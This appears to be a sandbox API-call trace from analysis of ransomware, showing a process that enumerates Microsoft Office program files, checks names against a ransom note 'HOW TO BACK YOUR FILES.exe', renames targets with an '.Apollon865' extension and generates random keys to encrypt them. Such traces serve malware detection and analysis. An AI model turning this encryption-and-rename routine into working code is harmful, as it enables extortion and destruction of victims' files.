	[0065.501] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".sys") returned 1
	[0065.501] lstrlenW (lpString="CLVIEW.EXE") returned 10
	[0065.501] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CMAX20.DLL" | out: lpString1="CMAX20.DLL") returned="CMAX20.DLL"
	[0065.501] lstrlenW (lpString="CMAX20.DLL") returned 10
	[0065.501] lstrlenW (lpString="Apollon865") returned 10
	[0065.501] lstrlenW (lpString=".dll") returned 4
	[0065.502] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".dll") returned 1
	[0065.502] lstrlenW (lpString=".lnk") returned 4
	[0065.502] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".lnk") returned 1
	[0065.502] lstrlenW (lpString=".ini") returned 4
	[0065.502] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".ini") returned 1
	[0065.502] lstrlenW (lpString=".sys") returned 4
	[0065.502] lstrcmpiW (lpString1="CMAX20.DLL", lpString2=".sys") returned 1
	[0065.502] lstrlenW (lpString="CMAX20.DLL") returned 10
	[0065.502] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CNFNOT32.EXE" | out: lpString1="CNFNOT32.EXE") returned="CNFNOT32.EXE"
	[0065.502] lstrlenW (lpString="CNFNOT32.EXE") returned 12
	[0065.502] lstrlenW (lpString="Apollon865") returned 10
	[0065.502] lstrcmpiW (lpString1="FNOT32.EXE", lpString2="Apollon865") returned 1
	[0065.502] lstrlenW (lpString=".dll") returned 4
	[0065.502] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".dll") returned 1
	[0065.502] lstrlenW (lpString=".lnk") returned 4
	[0065.502] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".lnk") returned 1
	[0065.502] lstrlenW (lpString=".ini") returned 4
	[0065.502] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".ini") returned 1
	[0065.502] lstrlenW (lpString=".sys") returned 4
	[0065.502] lstrcmpiW (lpString1="CNFNOT32.EXE", lpString2=".sys") returned 1
	[0065.502] lstrlenW (lpString="CNFNOT32.EXE") returned 12
	[0065.502] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CODEEDIT.DLL" | out: lpString1="CODEEDIT.DLL") returned="CODEEDIT.DLL"
	[0065.502] lstrlenW (lpString="CODEEDIT.DLL") returned 12
	[0065.502] lstrlenW (lpString="Apollon865") returned 10
	[0065.502] lstrcmpiW (lpString1="DEEDIT.DLL", lpString2="Apollon865") returned 1
	[0065.502] lstrlenW (lpString=".dll") returned 4
	[0065.502] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".dll") returned 1
	[0065.502] lstrlenW (lpString=".lnk") returned 4
	[0065.502] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".lnk") returned 1
	[0065.502] lstrlenW (lpString=".ini") returned 4
	[0065.503] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".ini") returned 1
	[0065.503] lstrlenW (lpString=".sys") returned 4
	[0065.503] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".sys") returned 1
	[0065.503] lstrlenW (lpString="CODEEDIT.DLL") returned 12
	[0065.503] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CONTAB32.DLL" | out: lpString1="CONTAB32.DLL") returned="CONTAB32.DLL"
	[0065.503] lstrlenW (lpString="CONTAB32.DLL") returned 12
	[0065.503] lstrlenW (lpString="Apollon865") returned 10
	[0065.503] lstrcmpiW (lpString1="NTAB32.DLL", lpString2="Apollon865") returned 1
	[0065.503] lstrlenW (lpString=".dll") returned 4
	[0065.503] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".dll") returned 1
	[0065.503] lstrlenW (lpString=".lnk") returned 4
	[0065.503] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".lnk") returned 1
	[0065.503] lstrlenW (lpString=".ini") returned 4
	[0065.503] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".ini") returned 1
	[0065.503] lstrlenW (lpString=".sys") returned 4
	[0065.503] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".sys") returned 1
	[0065.503] lstrlenW (lpString="CONTAB32.DLL") returned 12
	[0065.503] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ContactPicker.dll" | out: lpString1="ContactPicker.dll") returned="ContactPicker.dll"
	[0065.503] lstrlenW (lpString="ContactPicker.dll") returned 17
	[0065.503] lstrlenW (lpString="Apollon865") returned 10
	[0065.503] lstrcmpiW (lpString1="Picker.dll", lpString2="Apollon865") returned 1
	[0065.503] lstrlenW (lpString=".dll") returned 4
	[0065.503] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".dll") returned 1
	[0065.503] lstrlenW (lpString=".lnk") returned 4
	[0065.503] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".lnk") returned 1
	[0065.503] lstrlenW (lpString=".ini") returned 4
	[0065.503] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".ini") returned 1
	[0065.503] lstrlenW (lpString=".sys") returned 4
	[0065.503] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".sys") returned 1
	[0065.503] lstrlenW (lpString="ContactPicker.dll") returned 17
	[0065.504] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CONVERT" | out: lpString1="CONVERT") returned="CONVERT"
	[0065.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0065.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599fd0
	[0065.504] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc70
	[0065.504] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1
	[0065.504] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.504] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.504] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CSS7DATA0009.DLL" | out: lpString1="CSS7DATA0009.DLL") returned="CSS7DATA0009.DLL"
	[0065.504] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16
	[0065.504] lstrlenW (lpString="Apollon865") returned 10
	[0065.504] lstrcmpiW (lpString1="TA0009.DLL", lpString2="Apollon865") returned 1
	[0065.504] lstrlenW (lpString=".dll") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".dll") returned 1
	[0065.504] lstrlenW (lpString=".lnk") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".lnk") returned 1
	[0065.504] lstrlenW (lpString=".ini") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".ini") returned 1
	[0065.504] lstrlenW (lpString=".sys") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".sys") returned 1
	[0065.504] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16
	[0065.504] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CSS7DATA000A.DLL" | out: lpString1="CSS7DATA000A.DLL") returned="CSS7DATA000A.DLL"
	[0065.504] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16
	[0065.504] lstrlenW (lpString="Apollon865") returned 10
	[0065.504] lstrcmpiW (lpString1="TA000A.DLL", lpString2="Apollon865") returned 1
	[0065.504] lstrlenW (lpString=".dll") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".dll") returned 1
	[0065.504] lstrlenW (lpString=".lnk") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".lnk") returned 1
	[0065.504] lstrlenW (lpString=".ini") returned 4
	[0065.504] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".ini") returned 1
	[0065.504] lstrlenW (lpString=".sys") returned 4
	[0065.505] lstrcmpiW (lpString1="CSS7DATA000A.DLL", lpString2=".sys") returned 1
	[0065.505] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16
	[0065.505] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CSS7DATA000C.DLL" | out: lpString1="CSS7DATA000C.DLL") returned="CSS7DATA000C.DLL"
	[0065.505] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16
	[0065.505] lstrlenW (lpString="Apollon865") returned 10
	[0065.505] lstrcmpiW (lpString1="TA000C.DLL", lpString2="Apollon865") returned 1
	[0065.505] lstrlenW (lpString=".dll") returned 4
	[0065.505] lstrcmpiW (lpString1="CSS7DATA000C.DLL", lpString2=".dll") returned 1
	[0065.506] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Custom.propdesc" | out: lpString1="Custom.propdesc") returned="Custom.propdesc"
	[0065.506] lstrlenW (lpString="Custom.propdesc") returned 15
	[0065.506] lstrlenW (lpString="Apollon865") returned 10
	[0065.506] lstrcmpiW (lpString1="m.propdesc", lpString2="Apollon865") returned 1
	[0065.506] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DATAGATH.DLL" | out: lpString1="DATAGATH.DLL") returned="DATAGATH.DLL"
	[0065.506] lstrlenW (lpString="DATAGATH.DLL") returned 12
	[0065.506] lstrlenW (lpString="Apollon865") returned 10
	[0065.506] lstrcmpiW (lpString1="TAGATH.DLL", lpString2="Apollon865") returned 1
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DBENGR.DLL" | out: lpString1="DBENGR.DLL") returned="DBENGR.DLL"
	[0065.507] lstrlenW (lpString="DBENGR.DLL") returned 10
	[0065.507] lstrlenW (lpString="Apollon865") returned 10
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DBGHELP.DLL" | out: lpString1="DBGHELP.DLL") returned="DBGHELP.DLL"
	[0065.507] lstrlenW (lpString="DBGHELP.DLL") returned 11
	[0065.507] lstrlenW (lpString="Apollon865") returned 10
	[0065.507] lstrcmpiW (lpString1="BGHELP.DLL", lpString2="Apollon865") returned 1
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DBSHARE.DLL" | out: lpString1="DBSHARE.DLL") returned="DBSHARE.DLL"
	[0065.507] lstrlenW (lpString="DBSHARE.DLL") returned 11
	[0065.507] lstrlenW (lpString="Apollon865") returned 10
	[0065.507] lstrcmpiW (lpString1="BSHARE.DLL", lpString2="Apollon865") returned 1
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DBWIZ.DLL" | out: lpString1="DBWIZ.DLL") returned="DBWIZ.DLL"
	[0065.507] lstrlenW (lpString="DBWIZ.DLL") returned 9
	[0065.507] lstrlenW (lpString="Apollon865") returned 10
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DGRMLNCH.DLL" | out: lpString1="DGRMLNCH.DLL") returned="DGRMLNCH.DLL"
	[0065.507] lstrlenW (lpString="DGRMLNCH.DLL") returned 12
	[0065.507] lstrlenW (lpString="Apollon865") returned 10
	[0065.507] lstrcmpiW (lpString1="RMLNCH.DLL", lpString2="Apollon865") returned 1
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DLGSETP.DLL" | out: lpString1="DLGSETP.DLL") returned="DLGSETP.DLL"
	[0065.507] lstrlenW (lpString="DLGSETP.DLL") returned 11
	[0065.507] lstrlenW (lpString="Apollon865") returned 10
	[0065.507] lstrcmpiW (lpString1="LGSETP.DLL", lpString2="Apollon865") returned 1
	[0065.507] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Document Parts" | out: lpString1="Document Parts") returned="Document Parts"
	[0065.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0065.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0065.508] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fcb0
	[0065.508] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0065.508] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.508] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.508] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DRILLDWN.DLL" | out: lpString1="DRILLDWN.DLL") returned="DRILLDWN.DLL"
	[0065.508] lstrlenW (lpString="DRILLDWN.DLL") returned 12
	[0065.508] lstrlenW (lpString="Apollon865") returned 10
	[0065.508] lstrcmpiW (lpString1="ILLDWN.DLL", lpString2="Apollon865") returned 1
	[0065.508] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DWGCNV.DLL" | out: lpString1="DWGCNV.DLL") returned="DWGCNV.DLL"
	[0065.508] lstrlenW (lpString="DWGCNV.DLL") returned 10
	[0065.508] lstrlenW (lpString="Apollon865") returned 10
	[0065.508] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="DWGDP.DLL" | out: lpString1="DWGDP.DLL") returned="DWGDP.DLL"
	[0065.508] lstrlenW (lpString="DWGDP.DLL") returned 9
	[0065.508] lstrlenW (lpString="Apollon865") returned 10
	[0065.508] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EDITOR.EXE" | out: lpString1="EDITOR.EXE") returned="EDITOR.EXE"
	[0065.508] lstrlenW (lpString="EDITOR.EXE") returned 10
	[0065.508] lstrlenW (lpString="Apollon865") returned 10
	[0065.508] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EDITORS.DLL" | out: lpString1="EDITORS.DLL") returned="EDITORS.DLL"
	[0065.508] lstrlenW (lpString="EDITORS.DLL") returned 11
	[0065.508] lstrlenW (lpString="Apollon865") returned 10
	[0065.508] lstrcmpiW (lpString1="DITORS.DLL", lpString2="Apollon865") returned 1
	[0065.509] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ELEMENTS.DLL" | out: lpString1="ELEMENTS.DLL") returned="ELEMENTS.DLL"
	[0065.509] lstrlenW (lpString="ELEMENTS.DLL") returned 12
	[0065.509] lstrlenW (lpString="Apollon865") returned 10
	[0065.509] lstrcmpiW (lpString1="EMENTS.DLL", lpString2="Apollon865") returned 1
	[0065.509] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ELEMUTIL.DLL" | out: lpString1="ELEMUTIL.DLL") returned="ELEMUTIL.DLL"
	[0065.509] lstrlenW (lpString="ELEMUTIL.DLL") returned 12
	[0065.509] lstrlenW (lpString="Apollon865") returned 10
	[0065.509] lstrcmpiW (lpString1="EMUTIL.DLL", lpString2="Apollon865") returned 1
	[0065.509] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EMABLT32.DLL" | out: lpString1="EMABLT32.DLL") returned="EMABLT32.DLL"
	[0065.509] lstrlenW (lpString="EMABLT32.DLL") returned 12
	[0065.509] lstrlenW (lpString="Apollon865") returned 10
	[0065.509] lstrcmpiW (lpString1="ABLT32.DLL", lpString2="Apollon865") returned -1
	[0065.509] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EMSMDB32.DLL" | out: lpString1="EMSMDB32.DLL") returned="EMSMDB32.DLL"
	[0065.509] lstrlenW (lpString="EMSMDB32.DLL") returned 12
	[0065.509] lstrlenW (lpString="Apollon865") returned 10
	[0065.509] lstrcmpiW (lpString1="SMDB32.DLL", lpString2="Apollon865") returned 1
	[0065.509] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ENGDIC.DAT" | out: lpString1="ENGDIC.DAT") returned="ENGDIC.DAT"
	[0065.509] lstrlenW (lpString="ENGDIC.DAT") returned 10
	[0065.509] lstrlenW (lpString="Apollon865") returned 10
	[0065.509] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ENGIDX.DAT" | out: lpString1="ENGIDX.DAT") returned="ENGIDX.DAT"
	[0065.509] lstrlenW (lpString="ENGIDX.DAT") returned 10
	[0065.509] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ENGLISH.LNG" | out: lpString1="ENGLISH.LNG") returned="ENGLISH.LNG"
	[0065.510] lstrlenW (lpString="ENGLISH.LNG") returned 11
	[0065.510] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcmpiW (lpString1="NGLISH.LNG", lpString2="Apollon865") returned 1
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EntityDataHandler.dll" | out: lpString1="EntityDataHandler.dll") returned="EntityDataHandler.dll"
	[0065.510] lstrlenW (lpString="EntityDataHandler.dll") returned 21
	[0065.510] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcmpiW (lpString1="andler.dll", lpString2="Apollon865") returned -1
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EntityPicker.dll" | out: lpString1="EntityPicker.dll") returned="EntityPicker.dll"
	[0065.510] lstrlenW (lpString="EntityPicker.dll") returned 16
	[0065.510] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcmpiW (lpString1="Picker.dll", lpString2="Apollon865") returned 1
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ENVELOPE.DLL" | out: lpString1="ENVELOPE.DLL") returned="ENVELOPE.DLL"
	[0065.510] lstrlenW (lpString="ENVELOPE.DLL") returned 12
	[0065.510] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcmpiW (lpString1="VELOPE.DLL", lpString2="Apollon865") returned 1
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ERXIMP.ADD" | out: lpString1="ERXIMP.ADD") returned="ERXIMP.ADD"
	[0065.510] lstrlenW (lpString="ERXIMP.ADD") returned 10
	[0065.510] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE"
	[0065.510] lstrlenW (lpString="EXCEL.EXE") returned 9
	[0065.510] lstrlenW (lpString="Apollon865") returned 10
	[0065.510] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="excel.exe.manifest" | out: lpString1="excel.exe.manifest") returned="excel.exe.manifest"
	[0065.511] lstrlenW (lpString="excel.exe.manifest") returned 18
	[0065.511] lstrlenW (lpString="Apollon865") returned 10
	[0065.511] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0065.511] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="excelcnv.exe" | out: lpString1="excelcnv.exe") returned="excelcnv.exe"
	[0065.511] lstrlenW (lpString="excelcnv.exe") returned 12
	[0065.511] lstrlenW (lpString="Apollon865") returned 10
	[0065.511] lstrcmpiW (lpString1="celcnv.exe", lpString2="Apollon865") returned 1
	[0065.511] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="excelcnvpxy.dll" | out: lpString1="excelcnvpxy.dll") returned="excelcnvpxy.dll"
	[0065.511] lstrlenW (lpString="excelcnvpxy.dll") returned 15
	[0065.511] lstrlenW (lpString="Apollon865") returned 10
	[0065.511] lstrcmpiW (lpString1="cnvpxy.dll", lpString2="Apollon865") returned 1
	[0065.511] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EXLIRM.XML" | out: lpString1="EXLIRM.XML") returned="EXLIRM.XML"
	[0065.511] lstrlenW (lpString="EXLIRM.XML") returned 10
	[0065.511] lstrlenW (lpString="Apollon865") returned 10
	[0065.511] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.Apollon865") returned 64
	[0065.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.516] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79660) returned 1
	[0065.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0065.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.517] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.517] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.517] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.518] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a30, lpName=0x0) returned 0x150
	[0065.520] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a30) returned 0x120000
	[0065.621] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.622] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.622] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.623] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.623] CloseHandle (hObject=0x150) returned 1
	[0065.623] CloseHandle (hObject=0x118) returned 1
	[0065.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0065.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.624] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1
	[0065.624] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.624] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="Apollon865.txt.exe") returned 1
	[0065.624] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EXLIRMV.XML" | out: lpString1="EXLIRMV.XML") returned="EXLIRMV.XML"
	[0065.624] lstrlenW (lpString="EXLIRMV.XML") returned 11
	[0065.624] lstrlenW (lpString="Apollon865") returned 10
	[0065.624] lstrcmpiW (lpString1="XLIRMV.XML", lpString2="Apollon865") returned 1
	[0065.624] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.Apollon865") returned 65
	[0065.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.633] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79220) returned 1
	[0065.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0065.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.634] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.635] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.635] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.635] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13880, lpName=0x0) returned 0x150
	[0065.636] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13880) returned 0x120000
	[0065.641] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.642] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.642] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
